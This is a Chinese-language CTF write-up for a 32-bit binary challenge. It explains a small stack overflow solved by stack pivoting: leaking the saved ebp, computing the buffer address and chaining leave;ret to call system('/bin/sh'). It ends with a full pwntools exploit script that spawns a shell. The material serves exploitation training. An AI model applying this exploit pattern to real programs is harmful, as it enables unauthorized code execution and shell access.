开始:
首先看一下保护机制:
再打开IDA看看:
有明显的栈溢出,但是溢出的不多,考虑栈迁移
一开始我想的是把栈迁移到bss段中去,恰好bss段也有可读可写的段空间
但是由于溢出的空间实在太小,因此我们不能有充足的空间去布置我们的bss段的内容,我认为最少要有4*4=16字节(32位),才能够布置bss段
很明显这是完全不够的,我们再次观察IDA反编译的内容,我们发现可以栈溢出+输出字符串的组合,而且读了两次,这时我们就可以考虑劫持eip到我们精心布置的栈内容。那么我们有两条路,一是往栈上填充shellcode,然后劫持eip到栈中执行shellcode,二是往栈上填充内容,使得执行system("/bin/sh")。 但是可以观察到的是,我们的栈没有可执行的权限,因此我们只能选择第二条路,就是想办法劫持程序流去执行system('/bin/sh')
看了一下,程序中存在system函数,但是不存在/bin/sh,不过问题不大,我们可以自己写入。
首先我们要看看在退出vul()函数栈帧的一个变化情况。这个我们可以用gdb看看。
此时ebp所指向的内容是old_ebp的地址,我们可以靠%s输出来(%s没有/x00/x00是不会停止输出的),一旦我们获得old_ebp,通过观察上图我们可以知道,vul()函数里的ebp是比old_ebp要低0x10个字节的,而我们输入的数据位置(也就是'aaaa'),距离ebp的位置是低0x28个字节,这就是我们将要迁移到的目的地。
开始构造攻击脚本:
泄露得到old_ebp地址
payload1 = b'A' * (0x27) + b'B'
io.send(payload1)
io.recvuntil(b'B')
old_ebp_addr=u32(io.recv(4))
计算出vul()的ebp地址,进而得到数据输入处的地址。
ebp_addr=old_ebp_addr-0x10
stdin_addr=ebp_addr-0x28
然后就是布置栈内容了
leave_ret=0x080484b8 #从ropgadget里找到的
payload=b'aaaa'+p32(elf.symbols['system'])+p32(0)+p32(stdin_addr+0x10)+b'/bin/sh\x00'
payload=payload.ljust(0x28,b'a')
payload+=p32(stdin_addr)+p32(leave_ret)
io.send(payload)
这里解释下为什么是stdin_add+0x10,这也是我一开始最疑惑的地方,看了很多博客也没懂
这里的stdin_addr其实指向的是我们刚刚写入的''/bin/sh” 的首地址,给system()函数提供参数,但是也许有人要问的是,那为什么不把’/bin/sh‘直接写在system函数的参数位?
这是因为如果直接写在参数位,因为在32位中,参数位实际上存的是'/bin'这四个字节的数据,剩下的内容被存在了下一个地址,把参数给分开存储了,而参数位只有一个,因此不能一次性把/bin/sh当做参数,因此我们要放进去一个指针,指向的是/bin/sh的地址,这样system函数就可以接收到完整的/bin/sh了。
以下是完整的exp:
from pwn import *
context(os="linux", arch="i386",log_level="debug")
elf = ELF('./buu')
io=process("./buu")
#gdb.attach(io,'b *0x80485BE')
from LibcSearcher import *
payload1 = b'A' * (0x27) + b'B'
io.send(payload1)
io.recvuntil(b'B')
old_ebp_addr=u32(io.recv(4))
ebp_addr=old_ebp_addr-0x10
stdin_addr=ebp_addr-0x28
leave_ret=0x080484b8
payload=b'aaaa'+p32(elf.symbols['system'])+p32(0)+p32(stdin_addr+0x10)+b'/bin/sh\x00'
payload=payload.ljust(0x28,b'a')
payload+=p32(stdin_addr)+p32(leave_ret)
io.send(payload)
io.interactive()